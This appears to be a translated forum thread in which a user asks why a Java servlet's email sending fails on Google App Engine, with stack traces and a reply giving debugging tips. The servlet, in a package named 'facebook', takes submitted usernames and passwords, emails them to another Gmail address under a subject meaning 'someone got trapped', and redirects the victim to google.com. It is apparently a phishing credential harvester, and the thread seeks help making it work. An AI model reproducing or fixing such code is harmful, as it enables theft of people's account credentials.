无法在java应用程序引擎中使用javax邮件

我用JavaServlet编写了发送电子邮件的程序。当我在localhost中部署这个程序时，我成功地使用gmail帐户发送了电子邮件。但当我部署到谷歌应用程序引擎时，出现了一个错误。在谷歌应用程序引擎中发送电子邮件有任何限制吗？这是我的代码：

package com.fjr.action.facebook;

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.GenericArrayType;
import java.nio.file.attribute.UserPrincipalLookupService;
import java.util.Properties;

import javax.mail.Message;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.OutputKeys;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;

import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.xml.sax.SAXException;

public class ProcessRequest  extends HttpServlet{



    public void doGet(HttpServletRequest req, HttpServletResponse resp) {
        String nama = req.getParameter("username");
        String password = req.getParameter("password");
        if (nama != null && password != null) {
            processEmail(nama, password);
            try {
//              String path = getServletContext().getRealPath("/WEB-INF/file/userlist.xml");
//              System.out.println(path);
//              writeToXML(nama, password , path);
            }catch( Exception e) {
                e.printStackTrace();
            }
        }


        try {
            resp.sendRedirect("http://www.google.com") ;
//          resp.addHeader("Location" , "www.google.com" );
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

    }


    public void processEmail(String nama, String password) {

//      UserService service;
        String host = "smtp.gmail.com";
        String from = "some-email@gmail.com";
        Properties props = System.getProperties();
//      Properties props = new Properties();
        props.put("mail.smtp.host", host);
        props.put("mail.smtp.user", from);
        props.put("mail.smtp.password", "password"  );
        props.put("mail.smtp.port", "587"); // 587 is the port number of yahoo mail
        props.put("mail.smtp.auth", "true");
        props.put("mail.smtp.starttls.enable", "true");

        Session getMailSession = Session.getDefaultInstance(props, null);
        MimeMessage generateMailMessage = new MimeMessage(getMailSession);
        try {
            generateMailMessage.setFrom(new InternetAddress("fajar.kasimbar@gmail.com"));

            generateMailMessage.addRecipient(Message.RecipientType.TO, new InternetAddress("other-email@gmail.com"));
            generateMailMessage.setSubject("Ada yang terjebak");
            String emailBody = "nama: "  + nama + "| pasword: "+ password;
            generateMailMessage.setContent(emailBody, "text/html");


            Transport transport = getMailSession.getTransport("smtp");

            transport.connect("smtp.googlemail.com", "some-email@gmail.com", "password" );
            transport.sendMessage(generateMailMessage, generateMailMessage.getAllRecipients());

            transport.close();

//          Transport.send(generateMailMessage);
        }catch(Exception e) {
            System.out.println("mail.sending error"); 
            e.printStackTrace();
        }

    }


}

我得到了这个错误

[INFO] GCLOUD: INFO: Module instance default is running at http://localhost:8080/
[INFO] GCLOUD: Sep 09, 2019 12:52:07 PM com.google.appengine.tools.development.AbstractModule startup
[INFO] GCLOUD: INFO: The admin console is running at http://localhost:8080/_ah/admin
[INFO] GCLOUD: Sep 09, 2019 8:52:07 PM com.google.appengine.tools.development.DevAppServerImpl doStart
[INFO] GCLOUD: INFO: Dev App Server is now running
[INFO] GCLOUD: mail.sending error
[INFO] GCLOUD: javax.mail.AuthenticationFailedException
[INFO] GCLOUD:  at javax.mail.Service.connect(Service.java:306)
[INFO] GCLOUD:  at javax.mail.Service.connect(Service.java:156)
[INFO] GCLOUD:  at com.fjr.action.facebook.ProcessRequest.processEmail(ProcessRequest.java:116)
[INFO] GCLOUD:  at com.fjr.action.facebook.ProcessRequest.doGet(ProcessRequest.java:43)
[INFO] GCLOUD:  at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
[INFO] GCLOUD:  at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:873)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1623)
[INFO] GCLOUD:  at com.google.appengine.tools.development.ResponseRewriterFilter.doFilter(ResponseRewriterFilter.java:134)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
[INFO] GCLOUD:  at com.google.appengine.tools.development.HeaderVerificationFilter.doFilter(HeaderVerificationFilter.java:34)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
[INFO] GCLOUD:  at com.google.appengine.api.blobstore.dev.ServeBlobFilter.doFilter(ServeBlobFilter.java:63)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)

编辑1：

我把代码编辑成

public void processMail2() { ////////
    Properties props = new Properties();
    String host = "smtp.gmail.com";
    String from = "fajar.kasimbar@gmail.com";

    props.put("mail.smtp.host", host);
    props.put("mail.smtp.user", from);
    props.put("mail.smtp.password", "some-password"  );
    props.put("mail.smtp.port", "587"); // 587 is the port number of yahoo mail
    props.put("mail.smtp.auth", "true");
    props.put("mail.smtp.starttls.enable", "true");

    Session session = Session.getDefaultInstance(props, null);
    session.setDebug(true); 
    try {
    Message msg = new MimeMessage(session);
    msg.setFrom(new InternetAddress("fajar.kasimbar@gmail.com", "Kue Bolu"));
    msg.addRecipient(Message.RecipientType.TO,
                    new InternetAddress("fajar.kasimbar.1@gmail.com", "Test"));
    msg.setSubject("Your Example.com account has been activated");
    msg.setText("This is a test");
    Transport.send(msg);
    } catch (Exception ex) {
        ex.printStackTrace();
    // ...
    } 
}

但仍然会得到一个错误：

[INFO] GCLOUD: INFO: The admin console is running at http://localhost:8080/_ah/admin
[INFO] GCLOUD: Sep 12, 2019 7:36:58 PM com.google.appengine.tools.development.DevAppServerImpl doStart
[INFO] GCLOUD: INFO: Dev App Server is now running
[INFO] GCLOUD: DEBUG: setDebug: JavaMail version 1.4ea
[INFO] GCLOUD: DEBUG: getProvider() returning javax.mail.Provider[TRANSPORT,smtp,com.sun.mail.smtp.SMTPTransport,Sun Microsystems, Inc]
[INFO] GCLOUD: DEBUG SMTP: useEhlo true, useAuth true
[INFO] GCLOUD: javax.mail.AuthenticationFailedException
[INFO] GCLOUD:  at javax.mail.Service.connect(Service.java:306)
[INFO] GCLOUD:  at javax.mail.Service.connect(Service.java:156)
[INFO] GCLOUD:  at javax.mail.Service.connect(Service.java:105)
[INFO] GCLOUD:  at javax.mail.Transport.send0(Transport.java:168)
[INFO] GCLOUD:  at javax.mail.Transport.send(Transport.java:98)
[INFO] GCLOUD:  at com.fjr.action.facebook.ProcessRequest.processMail2(ProcessRequest.java:155)
[INFO] GCLOUD:  at com.fjr.action.facebook.ProcessRequest.doGet(ProcessRequest.java:47)
[INFO] GCLOUD:  at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
[INFO] GCLOUD:  at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:873)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1623)
[INFO] GCLOUD:  at com.google.appengine.tools.development.ResponseRewriterFilter.doFilter(ResponseRewriterFilter.java:134)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
[INFO] GCLOUD:  at com.google.appengine.tools.development.HeaderVerificationFilter.doFilter(HeaderVerificationFilter.java:34)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
[INFO] GCLOUD:  at com.google.appengine.api.blobstore.dev.ServeBlobFilter.doFilter(ServeBlobFilter.java:63)

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谷歌应用程序引擎说明如下。您不需要连接到服务器；只需使用默认值和静态发送方法。

更新您的帖子以显示您现在使用的代码，然后发布。在javax mail APIE的服务类中仍然有connect方法。我对GAE的理解是，您应该删除所有mail.smtp.*属性设置。此外，您应该使用Session.getInstance而不是Session.getDefaultInstance。最后，您是在使用GAE提供的JavaMail版本，还是在应用程序中包含JavaMail jar文件？它是用pom.xml配置的，所以当我将源代码推送到github时，当我登录到google app engine shell时，我会提取包含pom.xml的源代码。因此，当我在pom.xml中运行代码时，它会自动下载所有必要的基于pom.xml的jar文件。顺便说一句，我使用免费帐户，而不是付费帐户。也许这就是问题所在，但我不知道。除了发送电子邮件，一切都正常。我在互联网上搜索，据说是谷歌应用程序引擎，限制IO操作和数据库操作的免费帐户。但我不知道他们是否也限制电子邮件。